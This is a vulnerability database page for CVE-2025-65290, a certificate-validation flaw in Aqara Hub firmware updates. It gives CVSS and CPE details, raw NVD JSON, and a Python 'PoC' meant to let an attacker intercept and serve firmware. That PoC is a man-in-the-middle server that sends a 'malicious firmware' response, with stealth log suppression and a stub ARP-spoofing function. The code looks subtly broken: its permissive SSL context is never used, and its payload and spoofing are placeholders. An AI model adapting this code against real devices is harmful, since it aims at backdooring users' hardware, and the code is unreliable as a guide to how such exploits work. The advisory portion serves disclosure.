Security Vulnerability Report
中文
CVE-2025-65290 CVSS 7.4 HIGH

CVE-2025-65290

Published: 2025-12-10 22:16:27
Last Modified: 2025-12-17 19:55:57

Description

Aqara Hub devices including Camera Hub G3 4.1.9_0027, Hub M2 4.3.6_0027, and Hub M3 4.3.6_0025 fail to validate server certificates during HTTPS firmware downloads, allowing man-in-the-middle attackers to intercept firmware update traffic and potentially serve modified firmware files.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:* - NOT VULNERABLE
Aqara Camera Hub G3 <= 4.1.9_0027
Aqara Hub M2 <= 4.3.6_0027
Aqara Hub M3 <= 4.3.6_0025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-65290 PoC - Aqara Hub Certificate Validation Bypass # Author: Security Research Team # Note: This PoC is for educational and authorized testing purposes only import ssl import socket import http.server import socketserver from urllib.parse import urlparse import threading class MITMProxy(http.server.SimpleHTTPRequestHandler): def do_POST(self): """Handle firmware update requests from Aqara Hub devices""" parsed_path = urlparse(self.path) # Check if this is a firmware update request if '/api/v1/firmware/check' in parsed_path.path or '/ota' in parsed_path.path: # Log the incoming request for analysis content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) print(f"[+] Intercepted firmware check request from: {self.client_address}") print(f"[+] Request data: {post_data}") # Send malicious firmware response # In a real attack, this would contain a modified firmware binary malicious_response = self.create_malicious_firmware_response() self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.send_header('Content-Length', str(len(malicious_response))) self.end_headers() self.wfile.write(malicious_response) print("[+] Malicious firmware sent to target device") else: self.send_error(404) def create_malicious_firmware_response(self): """Generate malicious firmware payload""" # Placeholder: In real attack, this would be modified firmware # with backdoor/RCE capabilities return b'MALICIOUS_FIRMWARE_PAYLOAD_PLACEHOLDER' def log_message(self, format, *args): """Suppress default logging for stealth""" pass def start_mitm_server(port=8443): """Start the MITM proxy server""" # Create SSL context that accepts all certificates (vulnerability exploit) context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socketserver.TCPServer(("", port), MITMProxy) as httpd: print(f"[*] MITM Proxy listening on port {port}") print("[*] Waiting for Aqara Hub device connections...") httpd.serve_forever() def arp_spoof(target_ip, gateway_ip): """Perform ARP spoofing to intercept traffic (requires root)""" # Implementation would use scapy or similar print(f"[*] ARP spoofing: {target_ip} -> {gateway_ip}") pass if __name__ == "__main__": print("=" * 60) print("CVE-2025-65290 - Aqara Hub Certificate Validation Bypass") print("Affected: Camera Hub G3 <= 4.1.9_0027, Hub M2 <= 4.3.6_0027, Hub M3 <= 4.3.6_0025") print("=" * 60) start_mitm_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65290", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:26.603", "lastModified": "2025-12-17T19:55:56.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Aqara Hub devices including Camera Hub G3 4.1.9_0027, Hub M2 4.3.6_0027, and Hub M3 4.3.6_0025 fail to validate server certificates during HTTPS firmware downloads, allowing man-in-the-middle attackers to intercept firmware update traffic and potentially serve modified firmware files."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:*", "matchCriteriaId": "1DA5251B-FBDF-4020-B4AD-8735547D7BAB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A94EB182-2F3B-42B2-935E-72936E6F8F33"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:*", "matchCriteriaId": "4B9661B9-D471-4110-995C-04D9165DEA1F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:*", "matchCriteriaId": "8BC51964-8CAB-4849-A383-0D7D1CA68EE2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:*", "matchCriteriaId": "CF91CB18-CE99-4A86-A94C-7136288E8C33"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E823C290-E362-4BE0-9885-9A7B981134BC"}]}]}], "references": [{"url": "https://github.com/Chapoly1305/myCVEReports/blob/main/Aqara/OTA-Certificate-Validation-Bypass.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}